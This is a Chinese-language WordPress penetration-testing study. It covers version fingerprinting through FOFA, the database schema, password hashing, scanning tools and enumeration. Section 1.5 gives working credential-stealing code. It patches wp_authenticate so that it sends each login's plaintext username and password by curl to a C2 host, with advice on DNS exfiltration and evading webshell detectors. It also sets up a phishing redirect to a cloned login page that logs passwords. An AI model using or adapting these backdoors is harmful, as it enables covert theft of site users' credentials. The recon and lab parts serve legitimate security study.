0.主流版本测绘
- branch.txt内容爬取https://github.com/WordPress/WordPress/branches
- 通过fofa-api搜索wordpress-{branch-version} && country!="CN"来粗略统计境外wordpress各版本占有率
- 不考虑指纹伪造
- 不考虑蜜罐
import requests
import base6
import time
import json
url = "https://fofa.info/api/v1/search/all?email=&key=&qbase64="
with open('branch.txt','r+') as f:
results = []
for i in f.readlines():
query = f'"wordpress-{i.strip()}" && country!="CN"'
query = query.encode('utf-8')
res = requests.get(url+base64.b64encode(query).decode()).text
json_res = json.loads(res)
size = json_res['size']
results.append((i.strip(), size))
time.sleep(3)
sorted_results = sorted(results, key=lambda x: x[1], reverse=True)
for item in sorted_results:
print(f'境外服务器wordpress{item[0]}的数量为:{item[1]}')
境外服务器wordpress4.5的数量为:718094
境外服务器wordpress6.0的数量为:571377
境外服务器wordpress4.8的数量为:432132
境外服务器wordpress2.5的数量为:283633
境外服务器wordpress6.1的数量为:225618
境外服务器wordpress5.3的数量为:84358
境外服务器wordpress5.3的数量为:84358
境外服务器wordpress4.1的数量为:60874
境外服务器wordpress5.9的数量为:48913
境外服务器wordpress5.8的数量为:34542
境外服务器wordpress5.6的数量为:29029
境外服务器wordpress2.8的数量为:23605
境外服务器wordpress5.7的数量为:23375
境外服务器wordpress5.4的数量为:11904
境外服务器wordpress5.5的数量为:10843
境外服务器wordpress5.0的数量为:8106
境外服务器wordpress5.2的数量为:5474
境外服务器wordpress3.1的数量为:5428
境外服务器wordpress5.1的数量为:5373
境外服务器wordpress3.6的数量为:3308
境外服务器wordpress4.6的数量为:3065
境外服务器wordpress4.0的数量为:2992
境外服务器wordpress3.0的数量为:2788
境外服务器wordpress4.7的数量为:2110
境外服务器wordpress3.5的数量为:2094
境外服务器wordpress3.3的数量为:2075
境外服务器wordpress4.3的数量为:1934
境外服务器wordpress4.9的数量为:1838
境外服务器wordpress4.4的数量为:1774
境外服务器wordpress2.7的数量为:1558
境外服务器wordpress3.4的数量为:1251
境外服务器wordpress3.9的数量为:945
境外服务器wordpress1.5的数量为:863
境外服务器wordpress3.8的数量为:757
境外服务器wordpress4.2的数量为:381
境外服务器wordpress2.6的数量为:234
境外服务器wordpress3.2的数量为:220
境外服务器wordpress2.9的数量为:219
境外服务器wordpress2.3的数量为:209
境外服务器wordpress2.0的数量为:200
境外服务器wordpress3.7的数量为:158
境外服务器wordpress2.2的数量为:152
境外服务器wordpress2.1的数量为:152
1.使用研究
1.1环境搭建
测试环境整体采用docker部署,主要部署主流版本来进行漏洞复现及相关研究。
1.1.1 wordpress4.5
version: '3.9'
services:
db:
image: mariadb:10.6.4-focal
restart: always
environment:
MYSQL_ROOT_PASSWORD: 123456
MYSQL_DATABASE: wordpress
volumes:
- ./database:/var/lib/mysql
wordpress:
depends_on:
- db
image: wordpress:4.5-apache
restart: always
ports:
- 80:80
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: 123456
volumes:
- ./html:/var/www/html
「初始化过程略」
1.1.2 wordpress目录结构说明
-
根目录文件:这些是WordPress的核心文件,用于处理请求和加载其他文件。
- index.php:网站的主入口文件。
- license.txt:WordPress的许可证文件。
- readme.html:安装和升级信息的HTML文件。
- wp-activate.php:激活新用户的脚本。
- wp-blog-header.php:加载WordPress环境和模板。
- wp-comments-post.php:处理发表评论的请求。
- wp-config-sample.php:WordPress配置文件的样本。
- wp-config.php:WordPress的主配置文件,包含数据库信息等设置。
- wp-cron.php:处理WordPress计划任务的脚本。
- wp-links-opml.php:用于OPML格式的链接导出。
- wp-load.php:加载WordPress的核心文件。
- wp-login.php:登录页面的主文件。
- wp-mail.php:通过电子邮件发布文章的脚本。
- wp-settings.php:设置WordPress变量和包含文件。
- wp-signup.php:新用户注册的脚本。
- wp-trackback.php:处理trackback请求的脚本。
- xmlrpc.php:实现XML-RPC协议支持。
-
wp-admin:包含WordPress后台管理相关的文件。
- 这个目录包含了控制WordPress仪表盘和管理功能的所有脚本和文件。
-
wp-content:用户内容和扩展的存储地。
- 这个目录包含主题(themes)、插件(plugins)和上传的文件(uploads)。
-
wp-includes:包含WordPress的主要PHP库和辅助脚本。
- 这个目录包含了WordPress运行所需的大部分核心功能代码。
1.2数据库表结构与内容研究
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta | 存储评论元数据
| wp_comments | 存储网站评论
| wp_links | 存储网站友情链接
| wp_options | 存储wordpress设置和选项、主题配置等
| wp_postmeta | 存储文章的元数据
| wp_posts | 存储网站文章
| wp_term_relationships | 存储分类、标签和帖子之间的关系
| wp_term_taxonomy | 存储每个目录、标签所对应的分类
| wp_termmeta | 存储目录、标签对应的元数据
| wp_terms | 存储每个目录、标签
| wp_usermeta | 存储用户的元数据
| wp_users | 存储用户
+-----------------------+
12 rows in set (0.003 sec)
1.2.1 Metadata元数据
注意到在十二张数据表中有四张表带有meta关键字,其中存储的就是相关信息的元数据
在翻阅许多文献后可以总结元数据的定义 -- “data about data”关于数据的数据
例如,对于一篇文章,它的元数据可以包含作者、发布日期、标签、分类、评论数、浏览量等信息,这些元数据存储在wp_postmeta表中。这些元数据可以被wordpress主题、插件使用,为网站提供更多的灵活性和扩展性。
这四张表的字段交集为:meta_id、meta_key、meta_value
NISO把元数据分为了描述性、结构性、管理性三类
结构化的元数据(Structural metadata)是有关数据结构的设计和说明,通常叫做“关于数据容器的数据(data about the containers of data);描述性的元数据(descriptive metadata),关于应用程序数据和数据内容的单个实例 ...
按照这个定义,wordpress使用描述性元数据。
而在wordpress中,数据与元数据的定义边界模糊不清。定义元数据也不等于它就会被存储于元数据表中,比如:
post_type应该属于元数据的范畴,可是它被存储在wp_posts中,而非wp_postmeta
1.2.2 关于文章 [wp_posts && wp_postmeta]
wp_posts表结构
MariaDB [wordpress]> desc wp_posts;
+-----------------------+---------------------+------+-----+---------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------------+---------------------+------+-----+---------------------+----------------+
| ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| post_author | bigint(20) unsigned | NO | MUL | 0 | |
| post_date | datetime | NO | | 0000-00-00 00:00:00 | |
| post_date_gmt | datetime | NO | | 0000-00-00 00:00:00 | |
| post_content | longtext | NO | | NULL | |
| post_title | text | NO | | NULL | |
| post_excerpt | text | NO | | NULL | |
| post_status | varchar(20) | NO | | publish | |
| comment_status | varchar(20) | NO | | open | |
| ping_status | varchar(20) | NO | | open | |
| post_password | varchar(20) | NO | | | |
| post_name | varchar(200) | NO | MUL | | |
| to_ping | text | NO | | NULL | |
| pinged | text | NO | | NULL | |
| post_modified | datetime | NO | | 0000-00-00 00:00:00 | |
| post_modified_gmt | datetime | NO | | 0000-00-00 00:00:00 | |
| post_content_filtered | longtext | NO | | NULL | |
| post_parent | bigint(20) unsigned | NO | MUL | 0 | |
| guid | varchar(255) | NO | | | |
| menu_order | int(11) | NO | | 0 | |
| post_type | varchar(20) | NO | MUL | post | |
| post_mime_type | varchar(100) | NO | | | |
| comment_count | bigint(20) | NO | | 0 | |
+-----------------------+---------------------+------+-----+---------------------+----------------+
23 rows in set (0.004 sec)
ID 自增唯一ID
post_author 对应作者ID
post_date 发布时间
post_date_gmt 发布时间(GMT+0时间)
post_content 正文
post_title 标题
post_excerpt 摘要
post_status 文章状态(publish/auto-draft/inherit等)
comment_status 评论状态(open/closed)
ping_status ping状态(open/closed)
post_password 文章密码
post_name 文章缩略名
to_ping 文章待ping的url列表
pinged 已经ping过的链接
post_modified 修改时间
post_modified_gmt 修改时间(GMT+0时间)
post_content_filtered 转换后的内容
post_parent 父文章
guid 全局唯一标识符
menu_order 排序ID
post_type 文章类型
post_mime_type MIME类型
comment_count 评论总数
数据内容研究
新建一篇文章,查询wp_posts内容,抽取一条数据作为示例
*************************** 5. row ***************************
ID: 5
post_author: 1
post_date: 2023-04-22 14:41:42
post_date_gmt: 2023-04-22 06:41:42
post_content: 中华民族伟大复兴!
post_title: 喜迎建党101周年
post_excerpt:
post_status: publish
comment_status: open
ping_status: open
post_password: 123456
post_name: %e5%96%9c%e8%bf%8e%e5%bb%ba%e5%85%9a101%e5%91%a8%e5%b9%b4
to_ping:
pinged:
post_modified: 2023-04-24 10:41:50
post_modified_gmt: 2023-04-24 02:41:50
post_content_filtered:
post_parent: 0
guid: http://localhost/?p=5
menu_order: 0
post_type: post
post_mime_type:
comment_count: 0
post_author
作者ID
对应的用户名存储在wp_users表中对应user_login字段
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| 1 | may | $P$BIhCqMiD2uzJeO6twupZ5mLxywmI011 | may | 12345@qq.com | | 2023-04-20 14:04:10 | | 0 | may |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.001 sec)
post_date_gmt
格林威治时间比北京时间早八小时
post_status
文章状态有以下八种状态:
1. publish:文章已经发布,可以在网站上被
2. 所有人查看。
3. pending:文章等待审核,暂时不会在网站上出现。
4. draft:文章正在编辑中,还没有准备好发布。
5. auto-draft:WordPress 在后台自动保存草稿,这种状态意味着文章还没有保存为草稿。
6. future:文章将在未来的特定时间发布,这是一种预定状态。
7. private:文章是私有的,只有被授权的用户才能查看。
8. inherit:文章从其他文章继承状态。
9. trash:文章被放入回收站,等待被永久删除或还原。
post_password
文章密码(明文存储)
post_name
文章名字 内容非英文的情况下会对字符进行编码 解码方式如下
import urllib.parse
encoded_str = '%e5%96%9c%e8%bf%8e%e5%bb%ba%e5%85%9a101%e5%91%a8%e5%b9%b4'
decoded_str = urllib.parse.unquote(encoded_str, encoding='utf-8')
print(decoded_str)
result:喜迎建党101周年
to_ping && pinged
这两个字段用于存储将要ping和已ping过的网站
pingback技术用于通知一个网页或博客其文章被引用,文章被广泛引用有助于SEO优化。
pingback通过post请求发送,包含通知的内容包括引用文章的标题、URL、引用页面的标题和 URL 等信息。
POST /xmlrpc.php HTTP/1.0
User-Agent: Pinger/1.0
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 236
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://example.com/entry/1234</string></value>
</param>
<param>
<value><string>http://blog.example.com/entry/5678</string></value>
</param>
</params>
</methodCall>
port_modified[_gmt]
文章修改时间(gmt时区)
post_content_filtered
对敏感词/文章格式化后存储的字段
post_prent
文章的父ID,没有父ID则为0,有父ID的情况是文章被修改,那么上一个版本的ID就是父ID
guid
全局唯一标识符,被用作文章永久链接,比如长这样:http://localhost/2023/04/24/5-revision-v1/
menu_order
文章在后台排序的位置
post_type
文章类型,在wordpress中默认有post与page两种类型
post_mime_type
用于存储wordpress中上传媒体文件的MIME类型
comment_count
存储文章评论数量
wp_postmeta表结构
MariaDB [wordpress]> desc wp_postmeta;
+------------+---------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+----------------+
| meta_id | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| post_id | bigint(20) unsigned | NO | MUL | 0 | |
| meta_key | varchar(255) | YES | MUL | NULL | |
| meta_value | longtext | YES | | NULL | |
+------------+---------------------+------+-----+---------+----------------+
4 rows in set (0.015 sec)
数据内容研究
MariaDB [wordpress]> select * from wp_postmeta;
+---------+---------+------------------------------------------+--------------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+------------------------------------------+--------------------+
| 1 | 2 | _wp_page_template | default |
| 2 | 1 | _edit_lock | 1682002379:1 |
| 3 | 1 | _wp_trash_meta_status | publish |
| 4 | 1 | _wp_trash_meta_time | 1682002381 |
| 5 | 1 | _wp_desired_post_slug | hello-world |
| 6 | 1 | _wp_trash_meta_comments_status | a:1:{i:3;s:1:"1";} |
| 7 | 5 | _edit_last | 1 |
| 8 | 5 | _edit_lock | 1682305790:1 |
| 11 | 5 | _oembed_05b3ec012fcc6815135ccd86d77d21e3 | {{unknown}} |
+---------+---------+------------------------------------------+--------------------+
- _wp_page_template:页面模板文件的路径。
- _edit_lock:当前文章或页面的编辑锁定信息。
- _wp_trash_meta_status:文章或页面是否在回收站中的状态。
- _wp_trash_meta_time:文章或页面进入回收站的时间戳。
- _wp_desired_post_slug:希望使用的文章或页面 slug。
- _wp_trash_meta_comments_status:文章或页面评论状态,例如是否允许评论。
- _edit_last:最后一次编辑文章或页面的用户 ID。
- oembed:与嵌入式内容相关的信息。
1.2.3 关于评论 [wp_commentmeta & wp-comments]
wp-comments表结构
MariaDB [wordpress]> desc wp_comments;
+----------------------+---------------------+------+-----+---------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------------------+---------------------+------+-----+---------------------+----------------+
| comment_ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| comment_post_ID | bigint(20) unsigned | NO | MUL | 0 | |
| comment_author | tinytext | NO | | NULL | |
| comment_author_email | varchar(100) | NO | MUL | | |
| comment_author_url | varchar(200) | NO | | | |
| comment_author_IP | varchar(100) | NO | | | |
| comment_date | datetime | NO | | 0000-00-00 00:00:00 | |
| comment_date_gmt | datetime | NO | MUL | 0000-00-00 00:00:00 | |
| comment_content | text | NO | | NULL | |
| comment_karma | int(11) | NO | | 0 | |
| comment_approved | varchar(20) | NO | MUL | 1 | |
| comment_agent | varchar(255) | NO | | | |
| comment_type | varchar(20) | NO | | | |
| comment_parent | bigint(20) unsigned | NO | MUL | 0 | |
| user_id | bigint(20) unsigned | NO | | 0 | |
+----------------------+---------------------+------+-----+---------------------+----------------+
15 rows in set (0.004 sec)
comment_ID 自增评论id
comment_post_ID 对应文章ID
comment_author_email 评论者邮箱
comment_author_url 评论者网址
comment_author_IP 评论者IP
comment_date 评论时间
comment_content 评论正文
comment_karma 评论好感度()
comment_approved 评论是否过审
comment_agent 评论者user_agent
comment_type 一般为空或null,
comment_parent 父评论ID
数据内容研究
添加一条评论,查询wp_comments内容,抽取一条数据作为示例数据
MariaDB [wordpress]> select * from wp_comments\G;
*************************** 1. row ***************************
comment_ID: 4
comment_post_ID: 5
comment_author: may
comment_author_email: 1234567@qq.com
comment_author_url: http://xmay.com
comment_author_IP: 172.22.0.1
comment_date: 2023-05-04 22:19:17
comment_date_gmt: 2023-05-04 14:19:17
comment_content: 高举中国特色社会主义伟大旗帜,全面贯彻新时代中国特色社会主义思想,弘扬伟大建党精神,自信自强、守正创新,踔厉奋发、勇毅前行,为全面建设社会主义现代化国家、全面推进中华民族伟大复兴而团结奋斗。
comment_karma: 0
comment_approved: 0
comment_agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
comment_type:
comment_parent: 0
user_id: 0
1 row in set (0.005 sec)
- comment_ID:评论ID
- comment_post_ID:评论所属文章或页面的ID
- comment_author:评论者名称
- comment_author_email:评论者提供的邮箱地址
- comment_author_url:评论者提供的网站或博客地址
- comment_author_IP:评论者的IP地址
- comment_date:评论发表的日期 时间
- comment_date_gmt:GMT时区的评论发表日期和时间
- comment_content:评论的内容
- comment_karma:评论的积分值(根据评论的质量和交互情况来决定)
- comment_approved:评论的审核状态,0为未审核,1表示审核通过
- comment_agent:评论者的浏览器UA
- comment_type:评论类型。pingback或trackback,否则为空
- comment_parent:评论的父评论ID,如果该评论是顶级评论,则该字段为0
- user_id:评论者的用户ID,如果评论者不是wp注册用户,则该字段的值为0
wp_commenmeta表结构
MariaDB [wordpress]> desc wp_commentmeta;
+------------+---------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+----------------+
| meta_id | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| comment_id | bigint(20) unsigned | NO | MUL | 0 | |
| meta_key | varchar(255) | YES | MUL | NULL | |
| meta_value | longtext | YES | | NULL | |
+------------+---------------------+------+-----+---------+----------------+
4 rows in set (0.006 sec)
1.2.4 关于用户 [wp_user && wp_usermeta]
wp_user表结构
MariaDB [wordpress]> desc wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| user_login | varchar(60) | NO | MUL | | |
| user_pass | varchar(255) | NO | | | |
| user_nicename | varchar(50) | NO | MUL | | |
| user_email | varchar(100) | NO | MUL | | |
| user_url | varchar(100) | NO | | | |
| user_registered | datetime | NO | | 0000-00-00 00:00:00 | |
| user_activation_key | varchar(255) | NO | | | |
| user_status | int(11) | NO | | 0 | |
| display_name | varchar(250) | NO | | | |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.012 sec)
数据内容研究
查询wp_users内容,抽取一条数据作为示例数据
MariaDB [wordpress]> select * from wp_users\G;
*************************** 1. row ***************************
ID: 1
user_login: may
user_pass: $P$BIhCqMiD2uzJeO6twupZ5mLxywmI011
user_nicename: may
user_email: 1234567@qq.com
user_url:
user_registered: 2023-04-20 14:04:10
user_activation_key: 1682217747:$P$BB.woxlLoP440TeBAqHYGlQdPN2WpI1
user_status: 0
display_name: may
1 row in set (0.001 sec)
- 重复意义字段不再赘述
- user_pass存储用户密码的hash 加密算法后续探讨
- user_activation_key用户注册后用于激活账户的加密字符串,可用于验证用户的电子邮件地址
wp_usermeta表结构
MariaDB [wordpress]> desc wp_usermeta;
+------------+---------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+---------------------+------+-----+---------+----------------+
| umeta_id | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| user_id | bigint(20) unsigned | NO | MUL | 0 | |
| meta_key | varchar(255) | YES | MUL | NULL | |
| meta_value | longtext | YES | | NULL | |
+------------+---------------------+------+-----+---------+----------------+
4 rows in set (0.007 sec)
数据内容研究
查询wp_usermeta内容,抽取一条数据作为示例数据
*************************** 15. row ***************************
umeta_id: 16
user_id: 1
meta_key: session_tokens
meta_value: a:1:{s:64:"1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c";a:4:{s:10:"expiration";i:1682476834;s:2:"ip";s:10:"172.22.0.1";s:2:"ua";s:117:"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36";s:5:"login";i:1682304034;}}
15 rows in set (0.005 sec)
前面几个没什么好说的,重点看一下meta_value字段
a:1:{s:64:"1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c";a:4:{s:10:"expiration";i:1682476834;s:2:"ip";s:10:"172.22.0.1";s:2:"ua";s:117:"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36";s:5:"login";i:1682304034;}}
看起来这是一串序列化字符 反序列化解构后如下
Array
(
[1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c] => Array
(
[expiration] => 1682476834
[ip] => 172.22.0.1
[ua] => Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
[login] => 1682304034
)
)
1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c,值是另外一个数组。这个数组包含了以下四个键值对:
- expiration: 值为 1682476834,表示到期时间的 Unix 时间戳。
- ip: 值为 172.22.0.1,表示登录时的 IP 地址。
- ua: 值为 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36,表示登录时的 User Agent 信息。
- login: 值为 1682304034,表示登录时间的 Unix 时间戳。
1.3用户权限管理研究
1.3.1 角色
当在wp网站上创建一个用户时,需要为该用户指定一个角色。角色定义了该用户在网站上所拥有的权限和功能。wp内置了五个默认角色:
- Super Admin超级管理员:拥有网站的所有权限,只能由网站创建者指定
- Administrator:拥有网站的所有权限,可以管理用户、发布内容、更改设置等
- Editor编辑:可以发布、编辑和删除自己和其他用户的文章,管理分类和标签,但不能管理用户和更改设置
- Author作者:可以发布、编辑和删除自己的文章,但不能发布文章和上传文件,也不能管理分类和标签、用户和设置
- Contributor投稿者:可以撰写和编辑自己的文章,但不能发布文章和上传文件,也不能管理分类和标签、用户和设置。
1.3.2 特权
- 在 WordPress 中,每个角色都拥有其特权或权限,这些权限定义了他们可以做什么和不能做什么。
- 特权或权限是指在 WordPress 后台管理界面中,角色所能访问和执行的操作。
- 权限有编辑文章、发布评论、上传媒体文件、管理用户等。
- 在 WordPress 中,权限分配的原则是:给予用户尽可能少的权限,以确保他们只能执行他们需要执行的任务,而不会干扰或更改其它任务。这种权限分配和管理的方法被称为最小权限原则(Least Privilege Principle)。
wordpress提供了**WP_Roles
、`WP_Role**和
WP_User`这几个类用于高级的权限管理,它们的具体使用场景根据GPT的回答可以总结如下:
- 自定义角色创建和管理:当标准的WordPress角色(如管理员、编辑、作者等)不满足网站特定需求时,可以使用WP_Roles和WP_Role类来创建和管理自定义角色。例如,为特定类型的内容管理或功能添加专门的角色。
- 特定权限的分配和管理:这些类允许网站管理员为现有角色添加或移除特定权限。例如,如果需要让编辑者角色能夹杂用户,可以使用WP_Role类来实现这一点。
- 针对单个用户的权限管理:WP_User类可以用来管理单个用户的角色和权限。例如,如果需要为特定用户分配多个角色或者给特定用户添加特殊权限,可以使用这个类。
- 插件和主题开发:开发者在创建插件或主题时,可能需要根据插件或主题的功能要求,添加新的用户角色或权限。这时,这些类就显得非常有用。
- 安全性增强:在处理安全敏感的应用时,精确控制用户的权限是非常重要的。通过这些接口,可以限制用户访问敏感区域或执行特定操作,以增强网站的安全性。
- 用户权限的动态调整:在需要动态调整用户权限的场景,如基于用户行为或其他条件,可以使用这些类动态更改用户的角色和权限。
- 多用户管理和协作:在有多用户参与的网站,如多作者博客、新闻网站或企业网站,这些类可以帮助管理不同用户的角色和权限,以保证有效的内容管理和协作。
1.3.3 用户
通过用户界面,管理员可以创建、编辑和删除用户,设置他们的角色、电子邮件地址、密码等。同时,管理员还可以为每个用户设置其自己的偏好设置,例如个人资料信息、头像等。
1.4用户密码加密算法研究
wordpress使用了一种名为**phpass**
的开源类来生成和验证用户密码,这个过程涉及到几个关键步骤和函数:
密码哈希生成
使用**wp_hash_password()**
函数,该函数内部依赖**phpass**
类
function wp_hash_password($password) {
global $wp_hasher;
if ( empty($wp_hasher) ) {
require_once( ABSPATH . WPINC . '/class-phpass.php');
// By default, use the portable hash from phpass
$wp_hasher = new PasswordHash(8, true);
}
return $wp_hasher->HashPassword( trim( $password ) );
}
endif;
其中**$wp_hasher**
对象实例化的就是引入的phpass开源类
class
function HashPassword($password)
{
if ( strlen( $password ) > 4096 ) {
return '*';
}
$random = '';
if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
$random = $this->get_random_bytes(16);
$hash =
crypt($password, $this->gensalt_blowfish($random));
if (strlen($hash) == 60)
return $hash;
}
...
在哈希过程中会生成salt结合用户的明文密码进行加密,加密算法取决于php版本
php5.0及以上的版本使用Blowfish算法进行加密,低于php5.0的版本则使用md5算法
blowfish是一种对称加密算法,理论上是可逆的,但wordpress使用的是它的变体bcrypt,这个加密过程是单向的
密码验证
使用**wp_check_password()**
函数,这个函数将用户输入的密码与数据库中存储的哈希进行比对,在这个过程中,它还会再次使用phpass类中的方法来进行比对
function wp_check_password($password, $hash, $user_id = '') {
global $wp_hasher;
// If the hash is still md5...
if ( strlen($hash) <= 32 ) {
$check = hash_equals( $hash, md5( $password ) );
if ( $check && $user_id ) {
// Rehash using new hash.
wp_set_password($password, $user_id);
$hash = wp_hash_password($password);
}
...
1.5 登陆明文密码劫持
后门劫持
通过修改/wp-include/pluggable.php文件中的wp_authenticate
方法实现明文密码的劫持
function wp_authenticate($username, $password) {
$username = sanitize_user($username);
$password = trim($password);
system('curl http://1x2.1x4.7x.2x4:18080/?password='.$username.$password);
...
在c2建立监听 当wordpress用户登录时 就会向c2发送明文账号密码
对于明文密码的传递可以通过dns_get_record等函数进行流量的特征脱敏
对于后门部分可以通过规避webshell检测工具的思路编写
但是这样的实现方式总归都很容易察觉 并且system之类的函数在应用部署后基本就是默认禁用
所以还是使用写入本地文件 隔一段时间再上线查看比较可靠
function wp_authenticate($username, $password) {
$username = sanitize_user($username);
$password = trim($password);
file_put_contents('accesss.log',$username.$password);
...
钓鱼劫持
针对安全意识不强的操作人员 可以通过钓鱼劫持的方式将访问/wp-login.php的请求重定向到钓鱼页面,在钓鱼网站输入密码后再重定向到原本的登录界面
针对不出网的环境 可以部署相似文件名的本地文件做鱼饵 如wp-logln.php
1.在wp_login.php中插入重定向到wp_logln.php的语句 通过session字段避免重定向死循环
session_start();
$host = $_SERVER['HTTP_HOST'];
if(!isset($_SESSION['redirected'])){
$_SESSION['redirected'] = true;
header('Location: http://' . $host . '/wp-logln.php');
}
2.使用httrack工具克隆wp_login.php前端页面
GitHub - xroche/httrack: HTTrack Website Copier, copy websites to your computer (Official repository)
对表单部分进行修改 在表单后插入代码进行明文密码劫持
<form name="loginform" id="loginform" action="wp-logln.php" method="post">
<p>
<label for="user_login">用户名或电子邮件地址
<input type="text" name="log" id="user_login" class="input" value="" size="20" /></label>
</p>
<p>
<label for="user_pass">密码
<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" /></label>
</p>
<p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> 记住我</label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="登录" />
<input type="hidden" name="redirect_to" value="http://localhost/wp-admin/" />
<input type="hidden" name="testcookie" value="1" />
</p>
</form>
<?php
setcookie('redirected','1');
$u=$_POST['log'];
$p=$_POST['pwd'];
if(isset($_POST['log']) && isset($_POST['pwd'])){
file_put_contents('/var/log/accesss.log',$u.$p);
session_start();
$_SESSION['redirected'] = false;
header('Location: /admin');
}
?>
当正常访问登录页面时 就会被重定向到钓鱼页面
输入账号密码后将重定向到真实登录页面 此时账号密码已被记录
在这个过程中尤其要注意目标写入文件的权限 防止warning
2.Wordpress渗透测试研究
2.1主流工具
wpscan
wpscan是一款使用ruby开发的跨平台wordpress扫描和渗透工具
GitHub - wpscanteam/wpscan: WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites. Contact us via contact@wpscan.com
扫描示例:
wpscan --url http://localhost:81 --wp-content-dir /wp-content/ --enumerate vp --plugins-detection aggressive --api-token xxxxxxxxxxxxx
--wp-content-dir指定的是文章的路径
在许多使用wordpress框架的网站中 文章路径一般都不在/wp-content/所以提供了参数进行指定
--enumerate vp 可以枚举所有易受攻击的插件
--plugins-detection aggressive指定的是发现插件的方式 这里指定的是积极的方式
wpscan可以以三种方式检测插件:被动(从HTML源代码检测)、主动(检查插件默认文件的标准路径)和积极(执行更全面的检查)
--api-token指定的是wpscan官方提供的api
在wpscan.com官网进行注册后可以得到free版本的api 有了api才能连接漏洞库进行扫描
cmsmap
cmsmap是一款实用python开发的跨平台cms扫描工具 支持扫描WordPress、Joomla,、Drupal、Moodle
https://github.com/dionach/CMSmap
cmsmap实用exploitdb进行扫描 建议在kali等自带exploitdb的操作系统上使用 如果没有 也可以使用官方exploitdb
Exploit-DB / Exploits + Shellcode + GHDB · GitLab
2.2 wordpress版本侦查
在实际渗透中 cms版本号可以帮助我们寻找历史漏洞进行利用
下面将演示一些主要方法
自述文件 - readme.thml
这是最简单的技巧 只需访问/readme.html即可得到版本号
该文件的目的是在初次安装时提供安装手册以及版本信息 在完成了wordpress的部署后应删除该文件
html元标签
具有generator名称属性的元标记通常被描述为用于生成文档/网页的软件。确切的版本号在 meta 标签的content属性中公开
JavaScript || CSS
在wp-admin/install.php、wp-admin/upgrade.php、wp-login.php文件的源代码中可以看到部分css链接的ver参数中携带了版本号
Feed
Feed是一种数据格式,它允许用户订阅频繁更新的内容,如博客文章、新闻、音频或视频系列等。RSS是最常见的Feed格式之一
以下是feed checklist 不同wordpress版本下存在差异
- /index.php/feed/
- /index.php/feed/rss/
- /index.php/feed/rss2/
- /index.php/comments/feed/
- /index.php/feed/rdf/(文件在本地下载)
- /index.php/feed/atom/
- /?feed=atom
- /?feed=rss
- /?feed=rss2
- /?feed=rdf
以/?feed=rss为例 可以在?v参数中发现版本号
OPML
OPML(Outline Processor Markup Language)是一种基于XML的格式,用于交换轮廓结构的信息。轮廓结构通常指的是嵌套的文本列表,类似于大纲或树状结构。OPML在多种应用中都很有用,尤其是在共享和迁移RSS订阅列表的场景中。
但此文件也会纰漏版本信息
MD5比较
通过比对js静态文件md5与特征库中的md5来判断cms版本 这也是漏扫工具进行指纹识别的常用方法
使用find命令结合参数计算所有js文件md5
md5特征库可以查看这个项目https://github.com/philipjohn/exploit-scanner-hashes
2.3 getshell测试案例
环境使用wpscan开发团队提供的VulnerableWordpress进行部署 版本为4.2.1
-> git clone https://github.com/wpscanteam/VulnerableWordpress.git
-> cd VulnerableWordpress/
-> docker build --rm -t wpscan/vulnerablewordpress .\
-> docker run --name vulnerablewordpress -d -p 81:80 -p 3307:3306 wpscan/vulnerablewordpress
访问127.0.0.1:81 初始化过程略
使用wpscan进行用户枚举
-> wpscan --url http://localhost:81/ --enumerate
[i] User(s) Identified:
[+] may
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
